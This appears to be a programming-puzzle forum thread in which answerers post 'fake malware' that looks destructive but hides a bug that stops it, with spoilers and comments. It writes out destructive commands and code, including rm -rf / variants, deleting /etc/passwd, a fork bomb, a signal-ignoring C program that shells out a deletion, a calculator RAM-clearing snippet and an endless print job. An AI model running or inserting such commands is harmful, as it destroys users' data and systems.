host = '127.0.0.1' #Change out for target IP
port = 25564
print'[!] Connecting...'
time.sleep(3)
lock = req.init(host,port)

How to Use
Most script-kiddies don't read the modules to source code in python (HUGE mistake)
Simply set-up the files like above and let them run RAT.py
"Trick"

 The "trick" is very obvious if you were to read "req.py", but script-kiddies just don't...

PostScript:
%!Adobe-PS-2.0
%%EOF
/picstr 256 string def
/trollface {currentpagedevice /pagesize get aload scale
    256 256 8 [256 0 0 –256 0 256]
    {currentfile picstr readhexstring pop} image
} def
{trollface showpage} repeat

[insert image data here]

Since the troll doesn't read comments, I can just insert an EOF document-structuring comment into the file. None of the code past the %%EOF will be run, because the document manager will stop transmitting the file when this is encountered.
Without the %%EOF DSC, this PostScript program would print an unlimited number of pages filled with a trollface image taken from image data at the end of the postscript file, until someone manually cancelled the job or it ran out of paper/ink.

How do I use this? Can I just write it to my printer's serial port?

@cat It depends on the printer. For some really old printers that would probably work though.

maybe I'll send it to my school's library printer and just walk out ;) (kidding, I have better things to print)

@cat Well, you'd need to actually add the trollface image data (which I omitted for brevity).

http://pastebin.com/8wG92wqU

Javascript
/* this is a very evil script *∕
while(1)                       ∕* infinite spam */
  alert("Greetings from Troll");

Except the user gets only one popup.

 Comments are aligned like that because of this: /∕

This is no longer funny and it also isn't exactly "malware".

Made an account just to get downvoted wow

So three downvotes for a newcomer because he should have read some meta post before answering that he couldn't possibly have known about and somebody makes fun of his name? Welcome to Code Golf...

TI-BASIC (84)
This program will clear the RAM on the calculator, removing important variables, lists, and programs. (My excuse is that I only had my TI-84 to test on, and I did not want to clear my memory, for that comment.) This requires two programs:
prgmDELETE
:AsmPrgmEF4E40C9
:AsmPrgmC7

prgmWRAPPER
:While 0:
::THIS IS TO LET THE USER KNOW THAT THEIR FATE IS INEVITABLE
:End
:If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION
:Goto EN
:prgmDELETE
:
:Lbl EN
:ClrHome
:Disp "PROGRAM FILES","HAVE BEEN","DELETED! >:D","--LE HACKER

Yup, that's it, Mr. Troll. You are evil for making me do this. I will go pray or something. Bye!

Stuck? Read below.

 There are actually two mistakes. One: If 0:"CHANGE TO 1 FOR YOUR OWN CALCULATOR, TO SKIP DELETION. This is because, whenever you insert a : in the program, it is treated as a newline. And, since the If  statement is merely a single-line, it actually does go to the label EN, skipping the execution of prgmDELETE.Two, to execute an assembly program, you must prefix the program name with Asm(. So, the correct statement would look like Asm(prgmDELETE.

To actually clear the RAM on a calculator, all you need to do is AsmPrgm. The lack of a ret causes an eventual crash.

@ThomasKwa Well, I consider myself to be a pretty adept TI-84 coder. Ergo, the troll (probably) wouldn't know that. I didn't know that fact, so I'm banking on the fact that the troll doesn't know that ^_^

Also, why the C7 (rst 00)?

@ThomasKwa TBH, I got the Assembly code from here. I thought it was a little weird, too, because I know C9 ends the assembly code. I was just afraid to try it on my own calculator.

You can't have two AsmPrgm in one program. The RAM-clearing code isn't even valid.

@ThomasKwa Hm. Isn't that awkward. Assembly 'aint my strong suit. Is here a valid RAM-clearing code?

Python
do_evil = True

def evil():
    if do_evil:
        os.remove('/etc/passwd')
        do_evil = False
    print 'Evil done!'

evil()

Similar to the JS one, variables in Python are function-scoped. do_evil = False creates a local variable without a value, and when if do_evil: is executed, you get UnboundLocalError. This one looks more normal as it doesn't need a keyword.

Python
This is a super-effective fork bomb that will not terminate even when it can't replicate:
import os
def fork():
    try:
      return os.fork() + 998543
    except os.error:
      return 99993843
for a in range(fork()):
  for b in range(fork()):
   for c in range(fork()):
    for d in range(fork()):
     for e in range(fork()):
      for f in range(fork()):
       for g in range(fork()):
        for h in range(fork()):
         for i in range(fork()):
          for j in range(fork()):
           for k in range(fork()):
            for l in range(fork()):
             for m in range(fork()):
              for o in range(fork()):
               for p in range(fork()):
                for q in range(fork()):
                 for r in range(fork()):
                  for s in range(fork()):
                   for t in range(fork()):
                    for u in range(fork()):
                     for v in range(fork()):
                      for w in range(fork()):
                        fork()

But:

It fails to compile with SystemError: too many statically nested blocks.

Bash
rm /*

This doesn't work because:

You need the -r option to delete directories

Bash
rm -RF --no-preserve-root /

This will delete everything except:

It will fail to run because: invalid option -- 'F'.  You can only use lowercase -f

C
#include <stdlib.h>
#include <string.h>
#include <signal.h>

char* doomCommand = "rm -rf /importantfolder";

#ifdef _WIN32
    char silencer[14] = " > NUL 2> NUL";
#elif __APPLE__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __linux__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif __unix__
    char silencer[26] = " > /dev/null 2> /dev/null";
#elif defined(_POSIX_VERSION)
    char silencer[26] = " > /dev/null 2> /dev/null";
#else
    /*Just make a lucky guess*/
    char silencer[26] = " > /dev/null 2> /dev/null";
#endif

int main() {
    size_t doomLength = strlen(doomCommand);
    size_t silencerLength = strlen(silencer);
    char* finalCommand;

    signal(SIGABRT, SIG_IGN);
    signal(SIGFPE, SIG_IGN);
    signal(SIGILL, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGSEGV, SIG_IGN);
    signal(SIGTERM, SIG_IGN);

    while (*(doomCommand++)); /*Integrity check*/
    finalCommand = malloc(doomLength + silencerLength + 1);
    strcat(finalCommand, doomCommand -= doomLength);
    strcat(finalCommand, silencer);

    return system(finalCommand);
}

Features:

Works on most operating systems used this millennium.
Will work on even the oldest standards-compliant compilers. (Probably.)
Includes a sanity check to make sure the command is a valid string.
Casually ignores most attempts to close the program.
You can use a custom destructive command.
Stops the user seeing the evil output of any command you choose to run.

Spoiler:

 Unfortunately, the sanity check moves the pointer forward length + 1 chars. So when the pointer is moved back length chars, it is now pointing to the second character in the string, not the first, and will throw an error when it tries to run your lovely command. Luckily though, all the output is suppressed. What a relief.

C
void main(void)
{
    for(int i=0; i<3; i++)
    {
        switch (i)
        {
        case 0:
            printf("Going ...\n");
            break;
        case 1:
            printf("going ...\n");
            break;
        defau1t:
            system("rm -rf ~");
            printf("gone!\n");
            break;
        }
    }
}

It's always best to give users time to regret running a program - but not enough to stop it.

 defau1t is spelt with a 1 (one) rather than an l.  That makes it a label rather than the default so that code never gets executed.

Aw c'mon, not again...

No, not again.  I would say there is a big difference between having variables a1 and al which would be just as tedious as you imply and using that trick to change part of the standard syntax of the l

Too slow to finish previous edit.  Changing the meaning of a standard C construction seems a different level from using two different variables.

+1 I always make this mistake in ANY programming language, esp. when using a variable, as you said, like a1. I always type al, because 1 looks like l in Consolas, etc. I don't know why the hate...

@CᴏɴᴏʀO'Bʀɪᴇɴ Unfortunately, I now agree with the downvotes within the context of this site.  It's just because it is too easy to make that mistake that it doesn't make for a good answer - everyone can do it.

@Alchymist I get your point. I just think it's a tad harsh ^_^

C#
Now what this evil application is intended to do is to find all folders and sub-folders on drive C:\ and create 100 randomly named files in it, when done - repeat, forever
using System.IO;

class Program
{
    static void Main()
    {
        // Do this forever
        while (true)
        {
            MakeSomeMess(@"С:\"); // see what I did there?
        }
    }

    private static void MakeSomeMess(string path)
    {
        // Find all folders
        foreach (var directory in Directory.GetDirectories(path))
        {
            // Make 100 randomly named files in each folder
            for (var i = 0; i < 100; i++)
            {
                try
                {
                    File.WriteAllText(Path.Combine(directory, Path.GetRandomFileName()), "Boobs Boobs Boobs");
                }
                catch
                {
                    // a file failed to create, probably a system folder like C:\\$Recycle.Bin
                    // no big deal there are plenty of folders to fill with rubbish
                }
            }

            // Do the same for every subfolder
            MakeSomeMess(directory);
        }
    }
}

And the twist is:

 @"С:\" is not the root folder, such folder does not exist as the letter 'С' in it, is actually the Cyrillic letter 'S'. Since C and С are rendered identical in almost any font (as you can see) our troll won't notice that @"С:\" is not a valid path. Поздрави от България :)

-1: This is a Standard Loophole

Doesn't \" mean "escape the ""?

@wizzwizz4 No, the @ before the string keeps the \ from escaping characters. So, the backwards slash is interpreted as a normal slash, not an escaping character.

@wizzwizz4 The escape character is surpressed by the @. It is not an escape character anymore. This is very commonly used actually.

@Adnan I was just wondering why Sinnerman put the @ there. Because there would have been yet another error if he hadn't.